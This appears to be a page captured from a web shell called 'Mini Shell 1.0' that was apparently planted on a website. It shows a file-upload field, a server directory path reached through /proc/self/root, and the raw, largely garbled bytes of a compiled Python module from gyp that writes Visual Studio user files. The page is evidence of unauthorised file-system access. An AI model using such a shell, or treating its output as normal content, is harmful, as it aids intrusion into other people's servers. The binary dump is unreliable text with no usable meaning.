HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/gyp/__pycache__/MSVSUserFile.cpython-311.pyc
�

�"Kb���^�dZddlZddlZddlZddlZddlmZd�Zd�Z	Gd�de
��ZdS)z+Visual Studio user preferences file writer.�Nc�b�d|vsd|vr|Stj�dd���tj��}|D]d}tj�||��}tj�|��r#tj|tj	��r|cS�e|S)a{If there are no slashes in the command given, this function
     searches the PATH env to find the given command, and converts it
     to an absolute path.  We have to do this because MSVS is looking
     for an actual file to launch a debugger on, not just a command
     line.  Note that this happens at GYP time, so anything needing to
     be built needs to have a full path.�/�\�PATH�)
�os�environ�get�split�pathsep�path�join�isfile�access�X_OK)�command�pathsr
�items    �2/usr/lib/python3/dist-packages/gyp/MSVSUserFile.py�_FindCommandInPathrs���	�G�^�^�t�w����N�
�J�N�N�6�"�%�%�+�+�B�J�7�7�E�����
�W�\�\�$��
(�
(�d�	�����	�	��"�)�D�"�'�":�":�������	�.�c��g}|D]x}|�d��dkr.d�|�d����}d|z}ntjd|��rd|z}|�|���y|S)N�"���z""z"%s"z[ \t\n])�findrr�re�search�append)�args�new_args�args   r�_QuoteWin32CommandLineArgsr"&s���
�(�
���c��x�x��}�}�����I�I�c�i�i��n�n�%�%�c��S�L�c�c�
��:�s�	#�	#���S�L�c��O�O�C�����	�/rc�0�eZdZdZd�Zd�Zidfd�Zd�ZdS)�Writerz(Visual Studio XML user user file writer.c�>�||_||_||_i|_dS)z�Initializes the user file.

    Args:
      user_file_path: Path to the user file.
      version: Version info.
      name: Name of the user file.
    N)�user_file_path�version�name�configurations)�selfr&r'r(s    r�__init__zWriter.__init__9s(��)�D���D�L��D�I��D���rc�"�dd|ig|j|<dS)zTAdds a configuration to the project.

    Args:
      name: Configuration name.
    �
Configuration�NameN)r))r*r(s  r�	AddConfigzWriter.AddConfigFs ��"1�6�4�.� A�D�����rrc�:�t|��}t|d��}|rIt|t��r4d�|���D��}d�|��}nd}did|�d|�dd�|d	d
����dt
j���d|�d
d�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd�dd�dddddd��g}||jvr|�	|��|j|�
|��d
S)a;Adds a DebugSettings node to the user file for a particular config.

    Args:
      command: command line to run.  First element in the list is the
        executable.  All elements of the command will be quoted if
        necessary.
      working_directory: other files which may trigger the rule. (optional)
    rc�$�g|]
\}}|�d|�d���S)z="r�)�.0�key�vals   r�
<listcomp>z+Writer.AddDebugSettings.<locals>.<listcomp>]s9��8�8�8��s�3� #�s�s�C�C�C�(�8�8�8r� r�
DebugSettings�Command�WorkingDirectory�CommandArguments�N�
RemoteMachine�Environment�EnvironmentMerge�true�Attach�false�DebuggerType�3�Remote�1�
RemoteCommand�HttpUrl�PDBPath�SQLDebugging�DebuggerFlavor�0�
MPIRunCommand�MPIRunArguments�MPIRunWorkingDirectory)�ApplicationCommand�ApplicationArguments�ShimCommand�
MPIAcceptMode�MPIAcceptFilter)r"r�
isinstance�dict�itemsr�socket�gethostnamer)r/r)r*�config_namer�environment�working_directory�abs_command�env_list�n_cmds        r�AddDebugSettingszWriter.AddDebugSettingsNs���)��1�1�G�$�W�Q�Z�0�0�K���z�+�t�4�4��8�8�#.�#4�#4�#6�#6�8�8�8�h��H�H�X�&�&�k�k��k�
��i��� �"3�� �#�(�(�7�1�2�2�;�"7�"7���v�1�3�3���[�	�
!�&������c������r�������� �b�!�"��#�$�r�%�& ��'�('��)�*%'�&(��!�!#�3���
�E�<�$�-�-�-�
�n�n�[�!�!�!�	���$�+�+�E�2�2�2�2�2rc��dg}t|j�����D]\}}|�|���d|j���|jd�|g}tj||j	d���dS)zWrites the user file.�Configurations�VisualStudioUserFile)�Versionr.zWindows-1252)�encodingN)
�sortedr)rWrr'�ProjectVersionr(�easy_xml�WriteXmlIfChangedr&)r*�configs�config�spec�contents     r�WriteIfChangedzWriter.WriteIfChanged�s���� �G��t�2�8�8�:�:�;�;������
�n�n�T�����%��<�6�6�8�8��	����	�G�

��w��(;�(6�8�8�8�8�8�8rN)�__name__�
__module__�__qualname__�__doc__r+r/r`rnr2rrr$r$6si������0�0����B�B�B�BD�)+�73�73�73�73�r8�8�8�8�8rr$)rrrrrX�
gyp.common�gyp�gyp.easy_xmlrhrr"�objectr$r2rr�<module>rws���
2�1�	�	�	�	�	�	�	�	�
�
�
�
�����������
���*��� ]8�]8�]8�]8�]8�V�]8�]8�]8�]8�]8r